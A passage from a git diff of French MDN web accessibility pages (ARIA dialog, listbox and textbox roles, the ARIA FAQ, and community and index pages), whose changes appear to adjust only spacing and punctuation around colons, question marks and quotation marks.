avoir un raccourci clavier global permettant de déplacer le focus entre les boîtes de dialogue ouvertes et la page principale. Pour plus d’informations, lisez le guide [Gérer les dialogues modaux et non modaux](/fr/docs/ARIA/Guides_ARIA/Gérer_les_dialogues_modaux_et_non_modaux). ### Effets possibles sur les agents utilisateurs et les technologies d’assistance -Lorsque le rôle `dialog` est utilisé, l’agent utilisateur doit faire la chose suivante : +Lorsque le rôle `dialog` est utilisé, l’agent utilisateur doit faire la chose suivante : - Présenter l’élément comme une boîte de dialogue à l’API accessibilité du système d’exploitation. @@ -62,7 +62,7 @@ Lorsque la boîte de dialogue est correctement labélisée et que le focus est d ### Exemples -#### Exemple 1 : une boîte de dialogue contenant un formulaire +#### Exemple 1 : une boîte de dialogue contenant un formulaire ```html <div role="dialog" aria-labelledby="dialog1Title" aria-describedby="dialog1Desc"> @@ -98,9 +98,9 @@ Lorsque la boîte de dialogue est correctement labélisée et que le focus est d </div> ``` -#### Exemple 2 : une boîte de dialogue basée sur un `Fieldset` comme contenu alternatif +#### Exemple 2 : une boîte de dialogue basée sur un `Fieldset` comme contenu alternatif -Pour prendre en charge les navigateurs ou les produits de technologies d’assistance qui ne prennent pas ARIA en charge, il est également possible d’appliquer le balisage `dialog` à un élément `fieldset` comme contenu alternatif. Ainsi le titre de la boîte de dialogue sera toujours annoncé correctement : +Pour prendre en charge les navigateurs ou les produits de technologies d’assistance qui ne prennent pas ARIA en charge, il est également possible d’appliquer le balisage `dialog` à un élément `fieldset` comme contenu alternatif. Ainsi le titre de la boîte de dialogue sera toujours annoncé correctement : ```html <fieldset role="dialog" aria-labelledby="dialog1Title" aria-describedby="dialog1Desc"> @@ -113,13 +113,13 @@ Pour prendre en charge les navigateurs ou les produits de technologies d’assis </fieldset> ``` -#### Exemples concrets : +#### Exemples concrets : - [jQuery-UI Dialog](http://jqueryui.com/demos/dialog/) ### Notes -> **Note :** bien qu'il soit possible d’empêcher les utilisateurs de clavier de bouger le focus vers des éléments en dehors des boîtes de dialogues, les utilisateurs de lecteurs d’écran ont toujours la possibilité de parcourir ce contenu pratiquement en utilisant le curseur virtuel du lecteur d’écran. À cause de cela, les boîtes de dialogue sont considérées comme des cas spéciaux du rôle `application` : on s’attend à ce qu’elles soient parcourues avec le mode de navigation non-virtuel par les utilisateurs de lecteur d’écran. +> **Note :** bien qu'il soit possible d’empêcher les utilisateurs de clavier de bouger le focus vers des éléments en dehors des boîtes de dialogues, les utilisateurs de lecteurs d’écran ont toujours la possibilité de parcourir ce contenu pratiquement en utilisant le curseur virtuel du lecteur d’écran. À cause de cela, les boîtes de dialogue sont considérées comme des cas spéciaux du rôle `application` : on s’attend à ce qu’elles soient parcourues avec le mode de navigation non-virtuel par les utilisateurs de lecteur d’écran. ### Attributs ARIA utilisés diff --git a/files/fr/web/accessibility/aria/roles/listbox_role/index.md b/files/fr/web/accessibility/aria/roles/listbox_role/index.md index a454806a8c..3da2c229d6 100644 --- a/files/fr/web/accessibility/aria/roles/listbox_role/index.md +++ b/files/fr/web/accessibility/aria/roles/listbox_role/index.md @@ -20,12 +20,12 @@ Lorsqu’on navigue entre les différents éléments d’une liste, le premier ### Effets possibles sur les agents utilisateurs et les technologies d’assistance -Lorsque le rôle `listbox` est ajouté à un élément, ou qu’un tel élément devient visible, l’agent utilisateur devrait suivre les étapes suivantes : +Lorsque le rôle `listbox` est ajouté à un élément, ou qu’un tel élément devient visible, l’agent utilisateur devrait suivre les étapes suivantes : -- Présenter l’élément comme ayant un rôle d’alerte à l’API d’accessibilité du système d’exploitation. Alternativement, s’il est un enfant de ou s’il appartient à une boîte combinée [combobox](http://www.w3.org/TR/wai-aria/roles#combobox), présenter l’élément comme un [menu](http://www.w3.org/TR/wai-aria/roles#menu) ; +- Présenter l’élément comme ayant un rôle d’alerte à l’API d’accessibilité du système d’exploitation. Alternativement, s’il est un enfant de ou s’il appartient à une boîte combinée [combobox](http://www.w3.org/TR/wai-aria/roles#combobox), présenter l’élément comme un [menu](http://www.w3.org/TR/wai-aria/roles#menu) ; - Déclencher un événement liste (ou dans les cas spéciaux, un événement menu) accessible à l’aide l’API d’accessibilité du système d’exploitation si elle le prend en charge. -Les technologies d’assistance devraient être à l’écoute de tels événements et les notifier à l’utilisateur en conséquence : +Les technologies d’assistance devraient être à l’écoute de tels événements et les notifier à l’utilisateur en conséquence : - Les lecteurs d’écran devraient annoncer le label et le rôle de la boîte liste lorsqu’elle obtient le focus. Si un élément de la liste obtient le focus, il devrait être annoncé après, suivi par une indication de la position de l’élément dans la liste si le lecteur d’écran prend en charge cette fonction. Lorsque le focus se déplace dans la liste, le lecteur d’écran devrait annoncer les éléments de la liste appropriés. - Les loupes d’écran devraient agrandir la boîte liste. @@ -34,9 +34,9 @@ Les technologies d’assistance devraient être à l’écoute de tels événeme ### Exemples -#### Exemple 1 : une liste de sélection simple qui utilise l’attribut `aria-activedescendant` +#### Exemple 1 : une liste de sélection simple qui utilise l’attribut `aria-activedescendant` -L’extrait de code ci-dessous montre comment le rôle `listbox` est ajouté directement dans le code source HTML : +L’extrait de code ci-dessous montre comment le rôle `listbox` est ajouté directement dans le code source HTML : ```html <div role="listbox" tabindex="0" id="listbox1" onclick="return listItemClick(event);" @@ -53,7 +53,7 @@ L’extrait de code ci-dessous montre comment le rôle `listbox` est ajouté dir Voir l’[exemple](http://codetalks.org/source/widgets/listbox/listbox.html) CodeTalks pour plus de détails. -#### Exemples concrets : +#### Exemples concrets : - <https://www.w3.org/TR/wai-aria-practices/examples/listbox/listbox.html> @@ -75,5 +75,5 @@ Voir l’[exemple](http://codetalks.org/source/widgets/listbox/listbox.html) Cod ### Autres ressources -- Bonnes pratiques ARIA – Listbox : [#listbox_div](http://www.w3.org/TR/wai-aria-practices/#listbox_div) -- Le modèle de rôles ARIA – Listbox : [#listbox](http://www.w3.org/TR/wai-aria/roles#listbox) +- Bonnes pratiques ARIA – Listbox : [#listbox_div](http://www.w3.org/TR/wai-aria-practices/#listbox_div) +- Le modèle de rôles ARIA – Listbox : [#listbox](http://www.w3.org/TR/wai-aria/roles#listbox) diff --git a/files/fr/web/accessibility/aria/roles/textbox_role/index.md b/files/fr/web/accessibility/aria/roles/textbox_role/index.md index ce0aeb8362..09bad3f3e9 100644 --- a/files/fr/web/accessibility/aria/roles/textbox_role/index.md +++ b/files/fr/web/accessibility/aria/roles/textbox_role/index.md @@ -20,21 +20,21 @@ Lorsqu’un champ texte est en lecture seule, cela devrait être indiqué en uti ### Effets possibles sur les agents utilisateurs et les technologies d’assistance -Lorsque le rôle `textbox` est ajouté à un élément, ou qu’un tel élément devient visible, l’agent utilisateur devrait suivre les étapes suivantes : +Lorsque le rôle `textbox` est ajouté à un élément, ou qu’un tel élément devient visible, l’agent utilisateur devrait suivre les étapes suivantes : -- Présenter l’élément comme ayant un rôle `textbox` à l’API d’accessibilité du système d’exploitation ; +- Présenter l’élément comme ayant un rôle `textbox` à l’API d’accessibilité du système d’exploitation ; - Déclencher un événement `textbox` accessible à l’aide de l’API d’accessibilité du système d’exploitation si elle le prend en charge. -Les technologies d’assistance devraient être à l’écoute de tels événements et les notifier à l’utilisateur en conséquence : +Les technologies d’assistance devraient être à l’écoute de tels événements et les notifier à l’utilisateur en conséquence : -- Les lecteurs d’écran devraient annoncer son label et son rôle lorsque le focus est sur la boite de texte. Si elle contient également du contenu, il devrait être annoncé comme avec une boite de texte régulière ; +- Les lecteurs d’écran devraient annoncer son label et son rôle lorsque le focus est sur la boite de texte. Si elle contient également du contenu, il devrait être annoncé comme avec une boite de texte régulière ; - Les loupes d’écran devraient agrandir la boite de texte. > **Note :** il existe plusieurs points de vue sur la façon dont les technologies d’assistance devraient traiter cette technique. L’information fournie ci-dessus est l’une de ces opinions et n’est pas normative. ### Exemples -#### Exemple 1 : ajout du rôle `textbox` dans le code HTML d’un champ de saisie monoligne `<input>` +#### Exemple 1 : ajout du rôle `textbox` dans le code HTML d’un champ de saisie monoligne `<input>` L’extrait de code ci-dessous montre comment le rôle `textbox` est ajouté directement dans le code source HTML. @@ -42,7 +42,7 @@ L’extrait de code ci-dessous montre comment le rôle `textbox` est ajouté dir <input type="text" role="textbox" value="Voici du texte" /> ``` -#### Exemple 2 : ajout du rôle `textbox` dans le code HTML d’un champ de saisie multilignes `<textarea>` +#### Exemple 2 : ajout du rôle `textbox` dans le code HTML d’un champ de saisie multilignes `<textarea>` L’extrait de code ci-dessous montre comment le rôle `textbox` est ajouté directement dans le code source HTML. @@ -54,11 +54,11 @@ L’extrait de code ci-dessous montre comment le rôle `textbox` est ajouté dir </textarea> ``` -#### Exemples concrets : +#### Exemples concrets : ### Notes -- Les développeurs doivent connaitre la distinction qui existe entre les champs de saisie monolignes et les champs de saisie multilignes lorsqu’ils créent un champ ; +- Les développeurs doivent connaitre la distinction qui existe entre les champs de saisie monolignes et les champs de saisie multilignes lorsqu’ils créent un champ ; - Les champs en lecture seule devraient être indiqués avec l’attribut `aria-readonly`. ### Attributs ARIA utilisés diff --git a/files/fr/web/accessibility/aria/web_applications_and_aria_faq/index.md b/files/fr/web/accessibility/aria/web_applications_and_aria_faq/index.md index c9815e24a0..dbe36309b0 100644 --- a/files/fr/web/accessibility/aria/web_applications_and_aria_faq/index.md +++ b/files/fr/web/accessibility/aria/web_applications_and_aria_faq/index.md @@ -9,7 +9,7 @@ tags: translation_of: Web/Accessibility/ARIA/Web_applications_and_ARIA_FAQ original_slug: Accessibilité/ARIA/FAQ_Applications_Web_et_ARIA --- -## Qu’est-ce qu’ARIA ? +## Qu’est-ce qu’ARIA ? WAI-ARIA est la spécification [Applications Internet Riches Accessibles](http://www.w3.org/WAI/intro/aria.php) de la [Web Accessibility Initiative](http://www.w3.org/WAI/) (Initiative pour l’accessibilité du Web) du [W3C](http://www.w3.org/). ARIA fournit des moyens de rendre plus accessible les applications Web et les composants dynamiques à une plus grande part des utilisateurs, y compris ceux utilisant des technologies d’assistance telles que les lecteurs d’écrans ou les agrandisseurs. @@ -17,30 +17,30 @@ ARIA fournit des éléments sémantiques additionnels afin de décrire les rôle Pour plus d’informations sur la création de composants dynamiques accessibles avec ARIA, lire l’article [Aperçu d’applications Web et de composants dynamiques accessibles](/fr/docs/Accessibilité/Aperçu_d_applications_Web_et_de_composants_dynamiques_accessibles). -## Où ARIA est-il pris en charge ? +## Où ARIA est-il pris en charge ? ARIA est une spécification relativement récente, mais son implémentation se développe. Une large variété de navigateurs communément utilisés, de technologies d’assistance, de kits de développements JavaScript et d’applications prennent maintenant en charge ARIA. Toutefois, de nombreux utilisateurs peuvent encore utiliser d’anciennes versions de ces technologies. Vous devrez sans doute considérer l’implémentation d’ARIA à l’aide des techniques d’améliorations progressives – telle qu’ajouter ARIA en utilisant JavaScript, mais pas directement dans votre balisage – afin de prendre en charge de manière plus élégante les vieux navigateurs et les anciennes technologies d’assistance. ### Navigateurs -ARIA est pris en charge dans les navigateurs suivants : +ARIA est pris en charge dans les navigateurs suivants : | Navigateur | Version minimale | Notes | | ------------------------------------------------------------------------------------------------ | ---------------- | -------------------------------------------------------------------------------------------------------------------------------------------------- | | Firefox | 3.0+ | Fonctionne avec NVDA, JAWS 10+ et Orca | | [Chrome](http://dev.chromium.org/developers/design-documents/accessibility#TOC-WAI-ARIA-Support) | Dernière | Prise en charge encore expérimentale des lecteurs d’écran jusqu’à Chrome 15 | | Safari | 4+ | La prise en charge par Safari 5 est grandement améliorée. La prise en charge des zones live requiert Safari 5 avec VoiceOver sur iOS5 ou OS X Lion | -| [Opera](http://www.opera.com/docs/specs/presto28/wai-aria/roleattributes/) | 9.5+ | Requiert VoiceOver sous OS X. À définir : comment cela fonctionne-t-il actuellement ? | +| [Opera](http://www.opera.com/docs/specs/presto28/wai-aria/roleattributes/) | 9.5+ | Requiert VoiceOver sous OS X. À définir : comment cela fonctionne-t-il actuellement ? | | [Internet Explorer](http://msdn.microsoft.com/en-us/library/cc891505%28v=vs.85%29.aspx) | 8+ | Fonctionne avec JAWS 10+ et NVDA. Pas de prise en charge des zones live dans NVDA. La prise en charge dans IE9 est grandement améliorée. | -Dans certains cas, les versions les plus jeunes peuvent prendre en charge certaines fonctionnalités d’ARIA. Des tableaux de compatibilité des navigateurs peuvent être consultés depuis différentes sources : +Dans certains cas, les versions les plus jeunes peuvent prendre en charge certaines fonctionnalités d’ARIA. Des tableaux de compatibilité des navigateurs peuvent être consultés depuis différentes sources : - [caniuse.com](http://caniuse.com/wai-aria) - [Le groupe Paciello](http://www.paciellogroup.com/blog/aria-tests/ARIA-SafariaOperaIEFF-update2.html) ### Technologies d’assistance -Les technologies d’assistance adoptent de plus en plus ARIA. Certaines d’entre elles sont : +Les technologies d’assistance adoptent de plus en plus ARIA. Certaines d’entre elles sont : | Technologies d’assistance | Version minimale pour un ARIA de base | Version minimale pour la prise en charge des zones live et des alertes | | ------------------------- | --------------------------------------------------------- | -------------------------------------------------------------------------------- | @@ -51,29 +51,29 @@ Les technologies d’assistance adoptent de plus en plus ARIA. Certaines d’ent | Window-Eyes | 7 | Pas de prise en charge des zones live | | ZoomText | ? | Pas de prise en charge des zones live | -Note : Les versions antérieures de ces outils ont souvent des implémentation d’ARIA partielles et défaillantes. +Note : Les versions antérieures de ces outils ont souvent des implémentation d’ARIA partielles et défaillantes. -For notes on JAWS support for ARIA as of JAWS 10, lire cet article du *groupe Paciello* : [JAWS Support for ARIA](http://www.paciellogroup.com/blog/2010/10/jaws-support-for-aria/). +For notes on JAWS support for ARIA as of JAWS 10, lire cet article du *groupe Paciello* : [JAWS Support for ARIA](http://www.paciellogroup.com/blog/2010/10/jaws-support-for-aria/). ### Kits de développement JavaScript -Les rôles, les états et les propriétés ARIA ont été ajoutées à de nombreux kits de développements d’interfaces utilisateur JavaScript, y compris : +Les rôles, les états et les propriétés ARIA ont été ajoutées à de nombreux kits de développements d’interfaces utilisateur JavaScript, y compris : - Dojo/Dijit - jQuery UI - Fluid Infusion - Google Closure -- Google Web Toolkit -- BBC Glow -- Yahoo! User Interface Library (YUI) +- Google Web Toolkit +- BBC Glow +- Yahoo! User Interface Library (YUI) -Pour plus d’informations sur l’accessibilité des kits de développement JavaScript : +Pour plus d’informations sur l’accessibilité des kits de développement JavaScript : -- [WAI-ARIA Implementation in JavaScript UI Libraries](http://www.paciellogroup.com/blog/2009/07/wai-aria-implementation-in-javascript-ui-libraries/) (Implémentation de WAI-ARIA dans les bibliothèques JavaScript d’UI) de Steve Faulkner +- [WAI-ARIA Implementation in JavaScript UI Libraries](http://www.paciellogroup.com/blog/2009/07/wai-aria-implementation-in-javascript-ui-libraries/) (Implémentation de WAI-ARIA dans les bibliothèques JavaScript d’UI) de Steve Faulkner -## Pouvez-vous me montrez un exemple d’ARIA en action ? +## Pouvez-vous me montrez un exemple d’ARIA en action ? -Voici le code HTML pour une barre de progression : +Voici le code HTML pour une barre de progression : ```html <div id="percent-loaded" role="progressbar" aria-valuenow="75" aria-valuemin="0" aria-valuemax="100" /> @@ -81,13 +81,13 @@ Voici le code HTML pour une barre de progression : Cette barre de progression est construite à l’aide de l’élément `<div>`, qui n’est pas des plus descriptif. Malheureusement, en HTML4 il n’existe pas de balise plus sémantique pour les développeurs, aussi avons nous besoin d’inclure les rôles et les propriétés ARIA. Ils sont spécifiés en ajoutant des attributs à l’élément `<div>`. Dans cet exemple, l’attribut `role="progressbar"` informe le navigateur que cet élément est actuellement un composant de barre de progression codé en JavaScript. Les attributs `aria-valuemin` et `aria-valuemax` spécifient les valeurs limites de la barre de progression, et `aria-valuenow` décrit a valeur courante. -Plutôt que de les intégrer directement dans le balisage, les attributs ARIA sont généralement ajoutés à l’élément et dynamiquement actualisés à l’aide de code JavaScript tel que celui-ci : +Plutôt que de les intégrer directement dans le balisage, les attributs ARIA sont généralement ajoutés à l’élément et dynamiquement actualisés à l’aide de code JavaScript tel que celui-ci : ```js -// Trouver le <div> de la barre de progression dans le DOM. +// Trouver le <div> de la barre de progression dans le DOM. var progressBar = document.getElementById("percent-loaded"); -// Définition de ses rôles et états ARIA , +// Définition de ses rôles et états ARIA, // pour que les technologies d’assistance sachent quel type de composant il s’agit. progressBar.setAttribute("role", "progressbar"); progressBar.setAttribute("aria-valuemin", 0); @@ -100,7 +100,7 @@ function updateProgress(percentComplete) { } ``` -## L’ajout d’ARIA changera-t-il le style ou le comportement de mes pages ? +## L’ajout d’ARIA changera-t-il le style ou le comportement de mes pages ? Non, ARIA n’est rendu disponible que pour les APIs des technologies d’assistance, et n’affecte pas les fonctionnalités natives du navigateur en respectant le DOM ou les styles. Du point de vue des navigateurs, le HTML natif définit le sens et le comportement sémantique d’un élément, et les attributs ARIA agissent comme une surcouche permettant de prendre en charge les APIs des technologies d’assistance. Bien qu’ARIA ne modifiera aucun style par lui-même, comme pour tous les attributs HTML les CSS peuvent profiter des attributs ARIA comme sélecteurs d’élément. Ceci peut fournir un mécanisme pratique pour styles les composants intégrant ARIA. @@ -114,15 +114,15 @@ Non, ARIA n’est rendu disponible que pour les APIs des technologies d’assist } ``` -## Qu'en est-il de la validation ? +## Qu'en est-il de la validation ? Les nouveaux attributs introduits dans ARIA, tels que les **`role`** et ceux préfixés avec **`aria-`**, ne font pas officiellement partie des spécification HTML 4 ou XHTML 4. À ce titre, les pages comportant des éléments ARIA peuvent ne pas être valides lorsqu’on les soumet au [validateur du W3C](http://validator.w3.org/). -La première solution possible à ce problème est d’éviter de placer les rôles et les états ARIA directement dans le code HTML. À la place, il faut utiliser JavaScript pour ajouter dynamiquement ARIA à votre page, tel que montré dans la réponse à la question Pouvez-vous me montrez un exemple d’ARIA en action ? ci-dessus. Votre page sera toujours théoriquement invalide, mais elle passera correctement toutes les contrôles de validation statiques. +La première solution possible à ce problème est d’éviter de placer les rôles et les états ARIA directement dans le code HTML. À la place, il faut utiliser JavaScript pour ajouter dynamiquement ARIA à votre page, tel que montré dans la réponse à la question Pouvez-vous me montrez un exemple d’ARIA en action ? ci-dessus. Votre page sera toujours théoriquement invalide, mais elle passera correctement toutes les contrôles de validation statiques. Une autre alternative est l’utilisation d’un _doctype_ HTML5, qui prend nativement en charge . Le validateur HTML5 du W3C trouvera même pour vous les utilisations non valides d’ARIA dans les pages HTML5. -## Comment HTML5 s’associe-t-il avec ARIA ? +## Comment HTML5 s’associe-t-il avec ARIA ? HTML5 introduit de nombreuses nouvelles balises sémantiques. Certaines d’entre elles recoupent les rôles ARIA, tel que le nouvelle élément `<progress>`. Dans le cas où le navigateur prend en charge une balise HTML5 qui existe également dans ARIA, il n’est généralement pas nécessaire d’ajouter les rôles et les états ARIA à l’élément. ARIA comprend de nombreux rôles, états et propriétés qui ne sont pas disponibles en HTML5, aussi continueront-ils d’être utiles aux développeurs HTML5. Pour plus d’informations, Steve Faulkner a écrit un très bon [aperçu des relations entre HTML5 et ARIA](http://www.paciellogroup.com/blog/2010/04/html5-and-the-myth-of-wai-aria-redundance/). @@ -130,7 +130,7 @@ HTML5 introduit de nombreuses nouvelles balises sémantiques. Certaines d’entr Pour fournir du contenu aux navigateurs qui n’implémentent pas HTML5, vous pouvez considérer une dégradation élégante de l’utilisation d’ARIA là où c’est nécessaire. Ainsi, en utilisant l’exemple de la barre de progression, vous pouvez dégrader élégamment un `role="progressbar"` pour les cas où la balise `<progressbar>` n’est pas prise en charge. -Voici un exemple de code utilisé pour une barre de progression en HTML5 : +Voici un exemple de code utilisé pour une barre de progression en HTML5 : ```html <!DOCTYPE html> @@ -139,11 +139,11 @@ Voici un exemple de code utilisé pour une barre de progression en HTML5 : <body> <progress id="progress-bar" value="0" max="100">0% complété(s)</progress> <button id="update-button">Actualiser</button> - </body> + </body> </html> ``` -… et voici le code JavaScript qui assurera le fonctionnement de la barre de progression même dans les navigateurs les plus anciens : +… et voici le code JavaScript qui assurera le fonctionnement de la barre de progression même dans les navigateurs les plus anciens : ```js var progressBar = document.getElementById("progress-bar"); @@ -175,7 +175,7 @@ function updateProgress(percentComplete) { } function initDemo() { - setupProgress(); // Setup the progress bar. + setupProgress(); // Setup the progress bar. // Lier un événement clic au bouton, ce qui actualisera la barre de progression à 75%. document.getElementById("update-button").addEventListener("click", function (e) { @@ -186,44 +186,44 @@ function initDemo() { initDemo(); ``` -## Comment fonctionnent les technologies d’assistance ? +## Comment fonctionnent les technologies d’assistance ? Les technologies d’assistance utilisent une API intégrée à chaque système d’exploitation spécifiquement conçue pour décrire les rôles, les états et la structure de l’interface utilisateur d’une application. Par exemple, un lecteur d’écran utilise cette API pour lire l’interface utilisateur avec un moteur de synthèse vocale (text-to-speech), une loupe l’utilise pour mettre en évidence les zones importantes ou actives de l’écran et un clavier virtuel peut s’en servir pour fournir la disposition de clavier la plus efficace dans un contexte donné ou au contrôle d’une interface utilisateur. Les technologies d’assistance accèdent souvent au DOM d’une page au travers de cette API afin de comprendre la sémantique et les attributs de la page. ARIA fournit un pont entre le monde du DOM et le bureau. Les navigateurs exposent les éléments ARIA aux API des technologies d’assistance comme s’ils étaient des composants natifs. En conséquence, l’utilisateur a potentiellement une expérience plus cohérente là où les composants dynamiques JavaScript sont comparables sur le Web à leurs équivalents bureau. -## Comment tester mon utilisation d’ARIA ? Existe-t-il des outils libres ou gratuits ? +## Comment tester mon utilisation d’ARIA ? Existe-t-il des outils libres ou gratuits ? -Il existe plusieurs outils d’inspection et de débogage pour vous aider à tester le comportement d’ARIA : +Il existe plusieurs outils d’inspection et de débogage pour vous aider à tester le comportement d’ARIA : - _Object Inspector_ sur Windows -- _Accessibility Inspector_ sur Mac OS X +- _Accessibility Inspector_ sur Mac OS X - _AccProbe_ sur Linux - _Inspecteur DOM_ de Firebug - L’[_Inspecteur d’accessibilité_ de Firebug](http://code.google.com/p/ainspector/) -Il existe plusieurs lecteurs d’écran gratuits voire libre qui peuvent être utilisés pour mener des tests sur ARIA. On trouve : +Il existe plusieurs lecteurs d’écran gratuits voire libre qui peuvent être utilisés pour mener des tests sur ARIA. On trouve : - [Orca](http://live.gnome.org/Orca) pour Linux - [NVDA](http://www.nvda-project.org/) pour Windows -- [VoiceOver](http://www.apple.com/accessibility/voiceover/) est intégré à Mac OS X +- [VoiceOver](http://www.apple.com/accessibility/voiceover/) est intégré à Mac OS X -Lorsque vous effectuez des tests avec un lecteur d’écran, gardez deux points importants en tête : +Lorsque vous effectuez des tests avec un lecteur d’écran, gardez deux points importants en tête : 1. Les tests occasionnels avec un lecteur d’écran ne pourront jamais remplacer les retours d’expérience, les tests ou l’aide de véritables utilisateurs au quotidien. 2. L’accessibilité est plus vaste que la simple prise en charge des lecteurs d’écran. Essayez de mener des tests avec divers cas d’utilisation et techniques d’accessibilité. -Autres techniques et outils de tests pratiques pour les applications et les composants intégrant ARIA : +Autres techniques et outils de tests pratiques pour les applications et les composants intégrant ARIA : - [Yahoo!'s ARIA bookmarklets](http://yaccessibilityblog.com/library/test-aria-focus-bookmarklets.html) - [simple accessibility evaluation techniques](http://wiki.fluidproject.org/display/fluid/Simple+Accessibility+Review+Protocol) du _Fluid Project_ (techniques simples d’évaluation de l’accessibilité) -## Où se tiennent les discussion concernant ARIA ? +## Où se tiennent les discussion concernant ARIA ? - [Liste de diffusion Wai-xtech](http://lists.w3.org/Archives/Public/wai-xtech/) – Discussions sur les spécification d’ARIA. - [groupe Google Free-ARIA](http://groups.google.com/group/free-aria) – pour les développeurs et les utilisateurs d’outils et de ressources libres. -## Où peut-on en apprendre davantage à propos d’ARIA ? +## Où peut-on en apprendre davantage à propos d’ARIA ? - [Aperçu d’applications Web et de composants dynamiques accessibles](/fr/docs/Accessibilité/Aperçu_d_applications_Web_et_de_composants_dynamiques_accessibles) - [Formulaires accessibles](/fr/docs/Accessibilité/Formulaires_accessibles) diff --git a/files/fr/web/accessibility/community/index.md b/files/fr/web/accessibility/community/index.md index 28cadcb774..b103d1dcc2 100644 --- a/files/fr/web/accessibility/community/index.md +++ b/files/fr/web/accessibility/community/index.md @@ -8,7 +8,7 @@ original_slug: Accessibilité/Communauté --- Ce document fournit des liens vers des listes de diffusions, des forums, et d'autres communautés portées sur l'accessibilité. -Si vous connaissez d'autres, ressources utiles n'hésitez pas à ajouter un lien ci-dessous. +Si vous connaissez d'autres, ressources utiles n'hésitez pas à ajouter un lien ci-dessous. - [Newsgroup Mozilla Accessibility](news://news.mozilla.org/netscape.public.mozilla.accessibility) - [Liste de discussion du groupe WAI](http://www.w3.org/WAI/IG/) diff --git a/files/fr/web/accessibility/index.md b/files/fr/web/accessibility/index.md index fe021c34d4..f80a84387a 100644 --- a/files/fr/web/accessibility/index.md +++ b/files/fr/web/accessibility/index.md @@ -11,9 +11,9 @@ original_slug: Accessibilité --- L’accessibilité dans le développement web signifie permettre l'utilisation des sites web par le plus grand nombre de personnes, même lorsque les capacités de ces personnes sont limitées d’une manière ou d'une autre. Voici quelques informations qui vous permettront de développer du contenu accessible. -« **L'accessibilité du web** signifie que les personnes handicapées peuvent l'utiliser. Plus spécifiquement, elle signifie que ces gens peuvent percevoir, comprendre, naviguer, interagir avec le web, et y contribuer. L'accessibilité du web bénéficie également à d'autres, notamment les personnes âgées ayant des capacités diminuées dues au vieillissement. » ( [L'accessibilité du Web définie dans Wikipédia](http://fr.wikipedia.org/wiki/Accessibilit%C3%A9_du_web)) +« **L'accessibilité du web** signifie que les personnes handicapées peuvent l'utiliser. Plus spécifiquement, elle signifie que ces gens peuvent percevoir, comprendre, naviguer, interagir avec le web, et y contribuer. L'accessibilité du web bénéficie également à d'autres, notamment les personnes âgées ayant des capacités diminuées dues au vieillissement. » ( [L'accessibilité du Web définie dans Wikipédia](http://fr.wikipedia.org/wiki/Accessibilit%C3%A9_du_web)) -« **L'accessibilité numérique est la mise à la disposition de tous les individus** – quels que soient leur matériel ou logiciel, leur infrastructure réseau, leur langue maternelle, leur culture, leur localisation géographique, ou leurs aptitudes physiques ou mentales – des ressources numériques. » [W3C Accessibility](http://www.w3.org/standards/webdesign/accessibility) +« **L'accessibilité numérique est la mise à la disposition de tous les individus** – quels que soient leur matériel ou logiciel, leur infrastructure réseau, leur langue maternelle, leur culture, leur localisation géographique, ou leurs aptitudes physiques ou mentales – des ressources numériques. » [W3C Accessibility](http://www.w3.org/standards/webdesign/accessibility) ## Tutoriels clefs @@ -28,7 +28,7 @@ La documentation MDN [Accessibilité](/fr/docs/Accessibilit%C3%A9) contient des - [Les bases de WAI-ARIA](/fr/docs/Apprendre/a11y/WAI-ARIA_basics) - : Dans la continuité de l'article précédent, créer des interactions d'interface utilisateur (UX) complexes impliquant un HTML non sémantique et un contenu dynamique mis à jour par JavaScript peut être parfois compliqué. WAI-ARIA est une technologie qui peut aider à résoudre de tels problèmes en ajoutant d'autres sémantiques que les navigateurs et les technologies d'assistance peuvent reconnaître et utiliser afin de permettre aux utilisateurs d’être informés correctement. Ici, nous allons montrer comment l'utiliser à un niveau de base pour améliorer l'accessibilité. - [Multimédia accessible](/fr/docs/Apprendre/a11y/Multimedia) - - : Une autre catégorie de contenu pouvant créer des problèmes d'accessibilité est le multimédia : le contenu vidéo, audio et les images auxquels on doit fournir des textes équivalents pertinents afin qu'ils soient exploitables par les technologies d'assistance et compris par leurs utilisateurs. Cet article explique comment faire. + - : Une autre catégorie de contenu pouvant créer des problèmes d'accessibilité est le multimédia : le contenu vidéo, audio et les images auxquels on doit fournir des textes équivalents pertinents afin qu'ils soient exploitables par les technologies d'assistance et compris par leurs utilisateurs. Cet article explique comment faire. - [Accessibilité sur mobile](/fr/docs/Apprendre/a11y/Mobile) - : Étant donné que l'accès au Web sur les appareils mobiles est très populaire, et que les plates‑formes populaires telles que iOS et Android disposent d'outils d'accessibilité à part entière, il est important de considérer l'accessibilité de votre contenu Web sur ces plates‑formes. Cet article examine les considérations d'accessibilité spécifiques aux mobiles. diff --git a/files/fr/web/accessibility/keyboard-navigable_javascript_widgets/index.md b/files/fr/web/accessibility/keyboard-navigable_javascript_widgets/index.md index 51dce2b52b..375d170948 100644 --- a/files/fr/web/accessibility/keyboard-navigable_javascript_widgets/index.md +++ b/files/fr/web/accessibility/keyboard-navigable_javascript_widgets/index.md @@ -8,21 +8,21 @@ tags: translation_of: Web/Accessibility/Keyboard-navigable_JavaScript_widgets original_slug: Contrôles_DHTML_personnalisés_navigables_au_clavier --- -### Le problème : les pages DHTML actuelles ne sont pas accessibles au clavier +### Le problème : les pages DHTML actuelles ne sont pas accessibles au clavier Un nombre croissant d'applications Web utilise [JavaScript](fr/JavaScript) pour imiter des contrôles ( _widgets_ ) applicatifs comme des menus, des vues arborescentes, des champs de texte enrichis et des panneaux à onglets. Les développeurs Web innovent constamment et les applications futures contiendront des éléments complexes et interactifs comme des feuilles de calcul, des calendriers, des graphes organisationnels et plus encore. Jusqu'à présent, les développeurs désirant rendre leurs contrôles basés sur des `<div>` et autres `<span>` stylés ne disposaient pas des techniques nécessaires. Pourtant, l'accessibilité au clavier fait partie des nécessités dont tout développeur Web devrait tenir compte. -Prenons un exemple concret : la plupart des menus [DHTML](fr/DHTML) ne se comportent pas comme des menus normaux en ce qui concerne l'accès au clavier. Même s'il y a moyen d'accéder au menu avec le clavier, une erreur courante est de placer chaque élément du menu dans l'ordre de tabulation (souvent réalisé implicitement en faisant de chaque choix du menu un élément `<a>`). En réalité, le comportement correct d'un menu est que le menu entier doit figurer une seule fois dans l'ordre de tabulation, et les flèches doivent être utilisées pour se déplacer de choix en choix au sein du menu. Ceci vaut également pour les autres contrôles de « navigation groupée » comme les vues arborescentes, tableaux et panneaux à onglets. +Prenons un exemple concret : la plupart des menus [DHTML](fr/DHTML) ne se comportent pas comme des menus normaux en ce qui concerne l'accès au clavier. Même s'il y a moyen d'accéder au menu avec le clavier, une erreur courante est de placer chaque élément du menu dans l'ordre de tabulation (souvent réalisé implicitement en faisant de chaque choix du menu 